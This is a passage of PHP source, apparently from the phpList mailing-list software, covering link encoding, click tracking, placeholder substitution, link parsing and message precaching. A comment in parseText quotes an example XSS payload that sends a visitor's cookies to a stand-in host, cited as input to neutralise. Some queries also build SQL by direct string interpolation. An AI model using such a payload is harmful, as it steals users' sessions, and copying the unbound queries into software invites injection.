  1112.     $arr = preg_split("/([&=])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
    1113. 

  1113.     $query = "?";
    1114. 

  1114.     foreach($arr as $var){
    1115. 

  1115.       if( "&" == $var || "=" == $var )
    1116. 

  1116.         $query .= $var;
    1117. 

  1117.       else
    1118. 

  1118.         $query .= rawurlencode($var);
    1119. 

  1119.     }    
    1120. 

  1120.   }
    1121. 

  1121.   
    1122. 

  1122.   if(!empty($fragment))
    1123. 

  1123.     $fragment = '#'.urlencode($fragment);
    1124. 

  1124.   
    1125. 

  1125.   return implode('', array($scheme, $user, $pass, $host, $port, $path, $query, $fragment));
    1126. 

  1126. }
    1127. 

  1127. 

  1128. function encodeLinks($text) {
    1129. 

  1129.   #~Bas Find and properly encode all links.
    1130. 

  1130.   preg_match_all("/<a(.*)href=[\"\'](.*)[\"\']([^>]*)>/Umis", $text, $links);
    1131. 

  1131.   
    1132. 

  1132.   foreach ($links[0] as $matchindex => $fullmatch) {
    1133. 

  1133.     $linkurl = $links[2][$matchindex];
    1134. 

  1134.     $linkreplace = '<a' . $links[1][$matchindex] . ' href="' . linkencode($linkurl) . '"' . $links[3][$matchindex] .'>';
    1135. 

  1135.     $text = str_replace($fullmatch,$linkreplace,$text);
    1136. 

  1136.   }
    1137. 

  1137.   return $text;
    1138. 

  1138. }
    1139. 

  1139. 

  1140. //function stripHTML() Moved to commonlib
    1141. 

  1141. 

  1142. function clickTrackLinkId($messageid,$userid,$url,$link) {
    1143. 

  1143.   global $cached;
    1144. 

  1144.   if (!isset($cached['linktrack']) || !is_array($cached['linktrack'])) $cached['linktrack'] = array();
    1145. 

  1145.   if (!isset($cached['linktracksent']) || !is_array($cached['linktracksent'])) $cached['linktracksent'] = array();
    1146. 

  1146.   if (!isset($cached['linktrack'][$link])) {
    1147. 

  1147.     $query
    1148. 

  1148.     = ' select id'
    1149. 

  1149.     . ' from ' . $GLOBALS['tables']['linktrack_forward']
    1150. 

  1150.     . ' where url = ?';
    1151. 

  1151.     $rs = Sql_Query_Params($query, array($url));
    1152. 

  1152.     $exists = Sql_Fetch_Row($rs);
    1153. 

  1153.     if (!$exists[0]) {
    1154. 

  1154.       $personalise = preg_match('/uid=/',$link);
    1155. 

  1155.       $query
    1156. 

  1156.       = ' insert into ' . $GLOBALS['tables']['linktrack_forward']
    1157. 

  1157.       . '    (url, personalise)'
    1158. 

  1158.       . ' values'
    1159. 

  1159.       . '    (?, ?)';
    1160. 

  1160.       Sql_Query_Params($query, array($url, $personalise));
    1161. 

  1161.       $fwdid = Sql_Insert_Id($GLOBALS['tables']['linktrack_forward'], 'id');
    1162. 

  1162.     } else {
    1163. 

  1163.       $fwdid = $exists[0];
    1164. 

  1164.     }
    1165. 

  1165.     $cached['linktrack'][$link] = $fwdid;
    1166. 

  1166.   } else {
    1167. 

  1167.     $fwdid = $cached['linktrack'][$link];
    1168. 

  1168.   }
    1169. 

  1169. 

  1170.   if (!isset($cached['linktracksent'][$messageid]) || !is_array($cached['linktracksent'][$messageid]))
    1171. 

  1171.     $cached['linktracksent'][$messageid] = array();
    1172. 

  1172.   if (!isset($cached['linktracksent'][$messageid][$fwdid])) {
    1173. 

  1173.     $query
    1174. 

  1174.     = ' select total'
    1175. 

  1175.     . ' from ' . $GLOBALS['tables']['linktrack_ml']
    1176. 

  1176.     . ' where messageid = ?'
    1177. 

  1177.     . '   and forwardid = ?';
    1178. 

  1178.     $rs = Sql_Query_Params($query, array($messageid, $fwdid));
    1179. 

  1179.     if (!Sql_Num_Rows($rs)) {
    1180. 

  1180.       $total = 1;
    1181. 

  1181.       ## first time for this link/message
    1182. 

  1182.       # BCD: Isn't this just an insert?
    1183. 

  1183.       Sql_Replace($GLOBALS['tables']['linktrack_ml'], array('total' => $total, 'messageid' => $messageid, 'forwardid' => $fwdid), array('messageid', 'forwardid'));
    1184. 

  1184.     } else {
    1185. 

  1185.       $tot = Sql_Fetch_Row($rs);
    1186. 

  1186.       $total = $tot[0] + 1;
    1187. 

  1187.       Sql_Query(sprintf('update %s set total = %d where messageid = %d and forwardid = %d', $GLOBALS['tables']['linktrack_ml'], $total, $messageid, $fwdid));
    1188. 

  1188.     }
    1189. 

  1189.     $cached['linktracksent'][$messageid][$fwdid] = $total;
    1190. 

  1190.   } else {
    1191. 

  1191.     $cached['linktracksent'][$messageid][$fwdid]++;
    1192. 

  1192.     ## write every so often, to make sure it's saved when interrupted
    1193. 

  1193.     if ($cached['linktracksent'][$messageid][$fwdid] % 100 == 0) {
    1194. 

  1194.       Sql_Query(sprintf('update %s set total = %d where messageid = %d and forwardid = %d',
    1195. 

  1195.         $GLOBALS['tables']['linktrack_ml'],$cached['linktracksent'][$messageid][$fwdid],$messageid,$fwdid));
    1196. 

  1196.     }
    1197. 

  1197.   }
    1198. 

  1198. 

  1199. /*  $req = Sql_Query(sprintf('insert ignore into %s (messageid,userid,forwardid)
    1200. 

  1200.     values(%d,%d,"%s","%s")',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$url,addslashes($link)));
    1201. 

  1201.   $req = Sql_Fetch_Row_Query(sprintf('select linkid from %s where messageid = %s and userid = %d and forwardid = %d
    1202. 

  1202.   ',$GLOBALS['tables']['linktrack'],$messageid,$userid,$fwdid));*/
    1203. 

  1203.   return $fwdid;
    1204. 

  1204. }
    1205. 

  1205.  
    1206. 

  1206. function parsePlaceHolders($content,$array = array()) {
    1207. 

  1207.   ## the editor turns all non-ascii chars into the html equivalent so do that as well
    1208. 

  1208.   foreach ($array as $key => $val) {
    1209. 

  1209.     $array[strtoupper($key)] = $val;
    1210. 

  1210.     $array[htmlentities(strtoupper($key),ENT_QUOTES,'UTF-8')] = $val;
    1211. 

  1211.     $array[str_ireplace(' ','&nbsp;',strtoupper($key))] = $val;
    1212. 

  1212.   }
    1213. 

  1213. 

  1214.   foreach ($array as $key => $val) {
    1215. 

  1215.     if (PHP5) {  ## the help only lists attributes with strlen($name) < 20
    1216. 

  1216.     #  print '<br/>'.$key.' '.$val.'<hr/>'.htmlspecialchars($content).'<hr/>';
    1217. 

  1217.       if (stripos($content,'['.$key.']') !== false) {
    1218. 

  1218.         $content = str_ireplace('['.$key.']',$val,$content);
    1219. 

  1219.       } 
    1220. 

  1220.       if (preg_match('/\['.$key.'%%([^\]]+)\]/i',$content,$regs)) { ## @@todo, check for quoting */ etc
    1221. 

  1221.     #    var_dump($regs);
    1222. 

  1222.         if (!empty($val)) {
    1223. 

  1223.           $content = str_ireplace($regs[0],$val,$content);
    1224. 

  1224.         } else {
    1225. 

  1225.           $content = str_ireplace($regs[0],$regs[1],$content);
    1226. 

  1226.         }
    1227. 

  1227.       }
    1228. 

  1228.     } else { 
    1229. 

  1229.       $key = str_replace('/','\/',$key);
    1230. 

  1230.       if (preg_match('/\['.$key.'\]/i',$content,$match)) {
    1231. 

  1231.         $content = str_replace($match[0],$val,$content);
    1232. 

  1232.       }
    1233. 

  1233.     }
    1234. 

  1234.   }
    1235. 

  1235.   return $content;
    1236. 

  1236. }
    1237. 

  1237. 

  1238. function parseText($text) {
    1239. 

  1239.   # bug in PHP? get rid of newlines at the beginning of text
    1240. 

  1240.   $text = ltrim($text);
    1241. 

  1241. 

  1242.   # make urls and emails clickable
    1243. 

  1243.   $text = preg_replace("/([\._a-z0-9-]+@[\.a-z0-9-]+)/i",'<a href="mailto:\\1" class="email">\\1</a>',$text);
    1244. 

  1244.   $link_pattern="/(.*)<a.*href\s*=\s*\"(.*?)\"\s*(.*?)>(.*?)<\s*\/a\s*>(.*)/is";
    1245. 

  1245. 

  1246.   $i=0;
    1247. 

  1247.   while (preg_match($link_pattern, $text, $matches)){
    1248. 

  1248.     $url=$matches[2];
    1249. 

  1249.     $rest = $matches[3];
    1250. 

  1250.     if (!preg_match("/^(http:)|(mailto:)|(ftp:)|(https:)/i",$url)){
    1251. 

  1251.       # avoid this
    1252. 

  1252.       #<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)">
    1253. 

  1253.       $url = preg_replace("/:/","",$url);
    1254. 

  1254.     }
    1255. 

  1255.     $link[$i]= '<a href="'.$url.'" '.$rest.'>'.$matches[4].'</a>';
    1256. 

  1256.     $text = $matches[1]."%%$i%%".$matches[5];
    1257. 

  1257.     $i++;
    1258. 

  1258.   }
    1259. 

  1259. 

  1260.   $text = preg_replace("/(www\.[a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i", "http://\\1"  ,$text);#make www. -> http://www.
    1261. 

  1261.   $text = preg_replace("/(https?:\/\/)http?:\/\//i", "\\1"  ,$text);#take out duplicate schema
    1262. 

  1262.   $text = preg_replace("/(ftp:\/\/)http?:\/\//i", "\\1"  ,$text);#take out duplicate schema
    1263. 

  1263.   $text = preg_replace("/(https?:\/\/)(?!www)([a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i", "<a href=\"\\1\\2\" class=\"url\" target=\"_blank\">\\2</a>"  ,$text); #eg-- http://kernel.org -> <a href"http://kernel.org" target="_blank">http://kernel.org</a>
    1264. 

  1264. 

  1265.   $text = preg_replace("/(https?:\/\/)(www\.)([a-zA-Z0-9\.\/#~:?+=&%@!\\-_]+)/i", "<a href=\"\\1\\2\\3\" class=\"url\" target=\"_blank\">\\2\\3</a>"  ,$text); #eg -- http://www.google.com -> <a href"http://www.google.com" target="_blank">www.google.com</a>
    1266. 

  1266. 

  1267.   # take off a possible last full stop and move it outside
    1268. 

  1268.   $text = preg_replace("/<a href=\"(.*?)\.\" class=\"url\" target=\"_blank\">(.*)\.<\/a>/i","<a href=\"\\1\" class=\"url\" target=\"_blank\">\\2</a>."   ,$text);
    1269. 

  1269. 

  1270.   for ($j = 0;$j<$i;$j++) {
    1271. 

  1271.     $replacement = $link[$j];
    1272. 

  1272.     $text = preg_replace("/\%\%$j\%\%/",$replacement, $text);
    1273. 

  1273.   }
    1274. 

  1274. 

  1275.   # hmm, regular expression choke on some characters in the text
    1276. 

  1276.   # first replace all the brackets with placeholders.
    1277. 

  1277.   # we cannot use htmlspecialchars or addslashes, because some are needed
    1278. 

  1278. 

  1279.   $text = str_replace("\(","<!--LB-->",$text);
    1280. 

  1280.   $text = str_replace("\)","<!--RB-->",$text);
    1281. 

  1281.   $text = preg_replace('/\$/',"<!--DOLL-->",$text);
    1282. 

  1282. 

  1283.   # @@@ to be xhtml compabible we'd have to close the <p> as well
    1284. 

  1284.   # so for now, just make it two br/s, which will be done by replacing
    1285. 

  1285.   # \n with <br/>
    1286. 

  1286. #  $paragraph = '<p class="x">';
    1287. 

  1287.   $br = '<br />';
    1288. 

  1288.   $text = preg_replace("/\r/","",$text);
    1289. 

  1289.   $text = preg_replace("/\n/","$br\n",$text);
    1290. 

  1290. 

  1291.   # reverse our previous placeholders
    1292. 

  1292.   $text = str_replace("<!--LB-->","(",$text);
    1293. 

  1293.   $text = str_replace("<!--RB-->",")",$text);
    1294. 

  1294.   $text = str_replace("<!--DOLL-->","\$",$text);
    1295. 

  1295.   return $text;
    1296. 

  1296. }
    1297. 

  1297. 

  1298. function addHTMLFooter($message,$footer) {
    1299. 

  1299.   if (preg_match('#</body>#imUx',$message)) {
    1300. 

  1300.     $message = preg_replace('#</body>#',$footer.'</body>',$message);
    1301. 

  1301.   } else {
    1302. 

  1302.     $message .= $footer;
    1303. 

  1303.   }
    1304. 

  1304.   return $message;
    1305. 

  1305. }
    1306. 

  1306. 

  1307. /* preloadMessage
    1308. 

  1308.  * 
    1309. 

  1309.  * load message in memory cache $GLOBALS['cached']
    1310. 

  1310.  */
    1311. 

  1311. 

  1312. function precacheMessage($messageid,$forwardContent = 0) {
    1313. 

  1313.   global $cached;
    1314. 

  1314.   $domain = getConfig('domain');
    1315. 

  1315.    
    1316. 

  1316. #    $message = Sql_query("select * from {$GLOBALS["tables"]["message"]} where id = $messageid");
    1317. 

  1317. #    $cached[$messageid] = array();
    1318. 

  1318. #    $message = Sql_fetch_array($message);
    1319. 

  1319.   $message = loadMessageData($messageid);
    1320. 

  1320. 

  1321.   ## the reply to is actually not in use
    1322. 

  1322.   if (preg_match("/([^ ]+@[^ ]+)/",$message["replyto"],$regs)) {
    1323. 

  1323.     # if there is an email in the from, rewrite it as "name <email>"
    1324. 

  1324.     $message["replyto"] = str_replace($regs[0],"",$message["replyto"]);
    1325. 

  1325.     $cached[$messageid]["replytoemail"] = $regs[0];
    1326. 

  1326.     # if the email has < and > take them out here
    1327. 

  1327.     $cached[$messageid]["replytoemail"] = str_replace("<","",$cached[$messageid]["replytoemail"]);
    1328. 

  1328.     $cached[$messageid]["replytoemail"] = str_replace(">","",$cached[$messageid]["replytoemail"]);
    1329. 

  1329.     # make sure there are no quotes around the name
    1330. 

  1330.     $cached[$messageid]["replytoname"] = str_replace('"',"",ltrim(rtrim($message["replyto"])));
    1331. 

  1331.   } elseif (strpos($message["replyto"]," ")) {
    1332. 

  1332.     # if there is a space, we need to add the email
    1333. 

  1333.     $cached[$messageid]["replytoname"] = $message["replyto"];
    1334. 

  1334.     $cached[$messageid]["replytoemail"] = "listmaster@$domain";
    1335. 

  1335.   } else {
    1336. 

  1336.     if (!empty($message["replyto"])) {
    1337. 

  1337.       $cached[$messageid]["replytoemail"] = $message["replyto"] . "@$domain";
    1338. 

  1338. 

  1339.       ## makes more sense not to add the domain to the word, but the help says it does
    1340. 

  1340.       ## so let's keep it for now
    1341. 

  1341.       $cached[$messageid]["replytoname"] = $message["replyto"] . "@$domain";
    1342. 

  1342.     }
    1343. 

  1343.   }
    1344. 

  1344.   
    1345. 

  1345.   $cached[$messageid]["fromname"] = $message["fromname"];
    1346. 

  1346.   $cached[$messageid]["fromemail"] = $message["fromemail"];
    1347. 

  1347.   $cached[$messageid]["to"] = $message["tofield"];
    1348. 

  1348.   #0013076: different content when forwarding 'to a friend'
    1349. 

  1349.   $cached[$messageid]["subject"] = $forwardContent ? stripslashes($message["forwardsubject"]) : $message["subject"];
    1350. 

  1350.   #0013076: different content when forwarding 'to a friend'
    1351. 

  1351.   $cached[$messageid]["content"] = $forwardContent ? stripslashes($message["forwardmessage"]) : $message["message"];
    1352. 

  1352.   if (USE_MANUAL_TEXT_PART && !$forwardContent) {
    1353. 

  1353.     $cached[$messageid]["textcontent"] = $message["textmessage"];
    1354. 

  1354.   } else {
    1355. 

  1355.     $cached[$messageid]["textcontent"] = '';
    1356. 

  1356.   }
    1357. 

  1357. #  var_dump($cached);exit;
    1358. 

  1358.   #0013076: different content when forwarding 'to a friend'
    1359. 

  1359.   $cached[$messageid]["footer"] = $forwardContent ? stripslashes($message["forwardfooter"]) : $message["footer"];
    1360. 

  1360.   
    1361. 

  1361.   if (strip_tags($cached[$messageid]["footer"]) != $cached[$messageid]["footer"]) {
    1362. 

  1362.     $cached[$messageid]["textfooter"] = HTML2Text($cached[$messageid]["footer"]);
    1363. 

  1363.     $cached[$messageid]["htmlfooter"] = $cached[$messageid]["footer"];
    1364. 

  1364.   } else {
    1365. 

  1365.     $cached[$messageid]["textfooter"] = $cached[$messageid]["footer"];
    1366. 

  1366.     $cached[$messageid]["htmlfooter"] = parseText($cached[$messageid]["footer"]);
    1367. 

  1367.   }
    1368. 

  1368.   
    1369. 

  1369.   $cached[$messageid]["htmlformatted"] = strip_tags($cached[$messageid]["content"]) != $cached[$messageid]["content"];
    1370. 

  1370.   $cached[$messageid]["sendformat"] = $message["sendformat"];
    1371. 

  1371.   if ($message["template"]) {
    1372. 

  1372.     $req = Sql_Fetch_Row_Query("select template from {$GLOBALS["tables"]["template"]} where id = {$message["template"]}");
    1373. 

  1373.     $cached[$messageid]["template"] = stripslashes($req[0]);
    1374. 

  1374.     $cached[$messageid]["templateid"] = $message["template"];
    1375. 

  1375.  #   dbg("TEMPLATE: ".$req[0]);
    1376. 

  1376.   } else {
    1377. 

  1377.     $cached[$messageid]["template"] = '';
    1378. 

  1378.     $cached[$messageid]["templateid"] = 0;
    1379. 

  1379.   }
    1380. 

  1380. 

  1381.   ## @@ put this here, so it can become editable per email sent out at a later stage
    1382. 

  1382.   $cached[$messageid]["html_charset"] = 'UTF-8';#getConfig("html_charset");
    1383. 

  1383.   ## @@ need to check on validity of charset
    1384. 

  1384.   if (!$cached[$messageid]["html_charset"]) {
    1385. 

  1385.     $cached[$messageid]["html_charset"] = 'UTF-8';#'iso-8859-1';
    1386. 

  1386.   }
    1387. 

  1387.   $cached[$messageid]["text_charset"] =  'UTF-8';#getConfig("text_charset");
    1388. 

  1388.   if (!$cached[$messageid]["text_charset"]) {
    1389. 

  1389.     $cached[$messageid]["text_charset"] =  'UTF-8';#'iso-8859-1';
    1390. 

  1390.   }
    1391. 

  1391.     
    1392. 

  1392.   ## if we are sending a URL that contains user attributes, we cannot pre-parse the message here
    1393. 

  1393.   ## but that has quite some impact on speed. So check if that's the case and apply
    1394. 

  1394.   $cached[$messageid]['userspecific_url'] = preg_match('/\[.+\]/',$message['sendurl']);
    1395. 

  1395. 

  1396.   if (!$cached[$messageid]['userspecific_url']) {
    1397. 

  1397.     ## Fetch external content here, because URL does not contain placeholders
    1398. 

  1398.     if ($GLOBALS["can_fetchUrl"] && preg_match("/\[URL:([^\s]+)\]/i",$cached[$messageid]["content"],$regs)) {
    1399. 

  1399.       $remote_content = fetchUrl($regs[1],array());
    1400. 

  1400.     #  $remote_content = fetchUrl($message['sendurl'],array());
    1401. 

  1401. 

  1402.       # @@ don't use this
    1403. 

  1403.       #      $remote_content = includeStyles($remote_content);
    1404. 

  1404. 

  1405.       if ($remote_content) {
    1406. 

  1406.         $cached[$messageid]['content'] = str_replace($regs[0],$remote_content,$cached[$messageid]['content']);
    1407. 

  1407.       #  $cached[$messageid]['content'] = $remote_content;
    1408. 

  1408.         $cached[$messageid]["htmlformatted"] = strip_tags($remote_content) != $remote_content;
    1409. 

  1409.       } else {
    1410. 

  1410.         #print Error(s('unable to fetch web page for sending'));
    1411. 

  1411.         logEvent("Error fetching URL: ".$message['sendurl']. ' cannot proceed');
    1412. 

  1412.         return false;
    1413. 

  1413.       }
    1414. 

  1414.     }
    1415. 

  1415.     
    1416. 

  1416.     if (VERBOSE && !empty($GLOBALS['getspeedstats'])) {
    1417. 

  1417.       output('fetch URL end');
    1418. 

  1418.     }
    1419. 

  1419. /*
    1420. 

  1420. print $message['sendurl'];
    1421. 

  1421. print $remote_content;exit;
    1422. 

  1422. */
    1423. 

  1423.   } // end if not userspecific url
    1424. 

  1424. 

  1425.   
    1426. 

  1426.   if ($cached[$messageid]["htmlformatted"]) {
    1427. 

  1427.  #   $cached[$messageid]["content"] = compressContent($cached[$messageid]["content"]);
    1428. 

  1428.   }
    1429. 

  1429. 

  1430.   $cached[$messageid]['google_track'] = $message['google_track'];
    1431. 

  1431. /*
    1432. 

  1432.     else {
    1433. 

  1433. print $message['sendurl'];
    1434. 

  1434. exit;
    1435. 

  1435. }
    1436. 

  1436. */
    1437. 

  1437. 

  1438.   if (VERBOSE && !empty($GLOBALS['getspeedstats'])) {
    1439. 

  1439.     output('parse config start');
    1440. 

  1440.   }
    1441. 

  1441.   
    1442. 

  1442. /*
    1443. 

  1443.  * this is not a good idea, as it'll replace eg "unsubscribeurl" with a general one instead of personalised
    1444. 

  1444.  *   if (is_array($GLOBALS["default_config"])) {
    1445. 

  1445.     foreach($GLOBALS["default_config"] as $key => $val) {
    1446. 

  1446.       if (is_array($val)) {
    1447. 

  1447.         $cached[$messageid]['content'] = str_ireplace("[$key]",getConfig($key),$cached[$messageid]['content']);
    1448. 

  1448.         $cached[$messageid]["textcontent"] = str_ireplace("[$key]",getConfig($key),$cached[$messageid]["textcontent"]);
    1449. 

  1449.         $cached[$messageid]["textfooter"] = str_ireplace("[$key]",getConfig($key),$cached[$messageid]['textfooter']);
    1450. 

  1450.         $cached[$messageid]["htmlfooter"] = str_ireplace("[$key]",getConfig($key),$cached[$messageid]['htmlfooter']);
    1451. 

  1451.       }
    1452. 

  1452.     }
    1453. 

  1453.   }
    1454. 

  1454.   */
    1455. 

  1455.   if (VERBOSE && !empty($GLOBALS['getspeedstats'])) {
    1456. 

  1456.     output('parse config end');
    1457. 

  1457.   }
    1458. 

  1458.   foreach($message as $key => $val) {
    1459. 

  1459.     if (!is_array($val)) {
    1460. 

  1460.       $cached[$messageid]['content'] = str_ireplace("[$key]",$val,$cached[$messageid]['content']);
    1461. 

  1461.       $cached[$messageid]["textcontent"] = str_ireplace("[$key]",$val,$cached[$messageid]["textcontent"]);
    1462. 

  1462.       $cached[$messageid]["textfooter"] = str_ireplace("[$key]",$val,$cached[$messageid]['textfooter']);
    1463. 

  1463.       $cached[$messageid]["htmlfooter"] = str_ireplace("[$key]",$val,$cached[$messageid]['htmlfooter']);
    1464. 

  1464.     }
    1465. 

  1465.   }
    1466. 

  1466.   if (preg_match("/##LISTOWNER=(.*)/",$cached[$messageid]['content'],$regs)) {
    1467. 

  1467.     $cached[$messageid]['listowner'] = $regs[1];
    1468. 

  1468.     $cached[$messageid]['content'] = str_replace($regs[0],"",$cached[$messageid]['content']);
    1469. 

  1469.   } else {
    1470. 

  1470.     $cached[$messageid]['listowner'] = 0;
    1471. 

  1471.   }
    1472. 

  1472. 

  1473.   if (!empty($cached[$messageid]['listowner'])) {
    1474. 

  1474.     $att_req = Sql_Query("select name,value from {$GLOBALS["tables"]["adminattribute"]},{$GLOBALS["tables"]["admin_attribute"]} where {$GLOBALS["tables"]["adminattribute"]}.id = {$GLOBALS["tables"]["admin_attribute"]}.adminattributeid and {$GLOBALS["tables"]["admin_attribute"]}.adminid = ".$cached[$messageid]['listowner']);
    1475. 

  1475.     while ($att = Sql_Fetch_Array($att_req)) {
    1476. 

  1476.       $cached[$messageid]['content'] = preg_replace("#\[LISTOWNER.".strtoupper(preg_quote($att["name"]))."\]#",$att["value"],$cached[$messageid]['content']);
    1477. 

  1477.     }
    1478. 

  1478.   }
    1479. 

  1479.   
    1480. 

  1480.   $baseurl = $GLOBALS['website'];
    1481. 

  1481.   if (defined('UPLOADIMAGES_DIR') && UPLOADIMAGES_DIR) {
    1482. 

  1482.     ## escape subdirectories, otherwise this renders empty
    1483. 

  1483.     $dir = str_replace('/','\/',UPLOADIMAGES_DIR);
    1484. 

  1484.     $cached[$messageid]['content'] = preg_replace('/<img(.*)src="\/'.$dir.'(.*)>/iU','<img\\1src="'.$GLOBALS['public_scheme'].'://'.$baseurl.'/'.UPLOADIMAGES_DIR.'\\2>',$cached[$messageid]['content']);
    1485. 

  1485.   }
    1486. 

  1486.   //if (defined('FCKIMAGES_DIR') && FCKIMAGES_DIR) {
    1487. 

  1487.     //$cached[$messageid]['content'] = preg_replace('/<img(.*)src="\/lists\/'.FCKIMAGES_DIR.'(.*)>/iU','<img\\1src="'.$GLOBALS['public_scheme'].'://'.$baseurl.'/lists/'.FCKIMAGES_DIR.'\\2>',$cached[$messageid]['content']);
    1488. 

  1488.   //}
    1489. 

  1489.   return 1;
    1490. 

  1490. }  
    1491. 

  1491. 

  1492. # make sure the 0 template has the powered by image
    1493. 

  1493. $query
    1494. 

  1494. = ' select *'
    1495. 

  1495. . ' from %s'
    1496. 

  1496. . ' where filename = ?'
    1497. 

  1497. . '   and template = 0';
    1498. 

  1498. $query = sprintf($query, $GLOBALS['tables']['templateimage']);
    1499. 

  1499. $rs = Sql_Query_Params($query, array('powerphplist.png'));
    1500. 

  1500. if (!Sql_Num_Rows($rs)) {
    1501. 

  1501.   $query
    1502. 

  1502.   = ' insert into %s'
    1503. 

  1503.   . '   (template, mimetype, filename, data, width, height)'
    1504. 

  1504.   . ' values (0, ?, ?, ?, ?, ?)';
    1505. 

  1505.   $query = sprintf($query, $GLOBALS["tables"]["templateimage"]);
    1506. 

  1506.   Sql_Query_Params($query, array('image/png', 'powerphplist.png', $newpoweredimage, 70, 30));
    1507. 

  1507. }
    1508. 

  1508. 

  1509.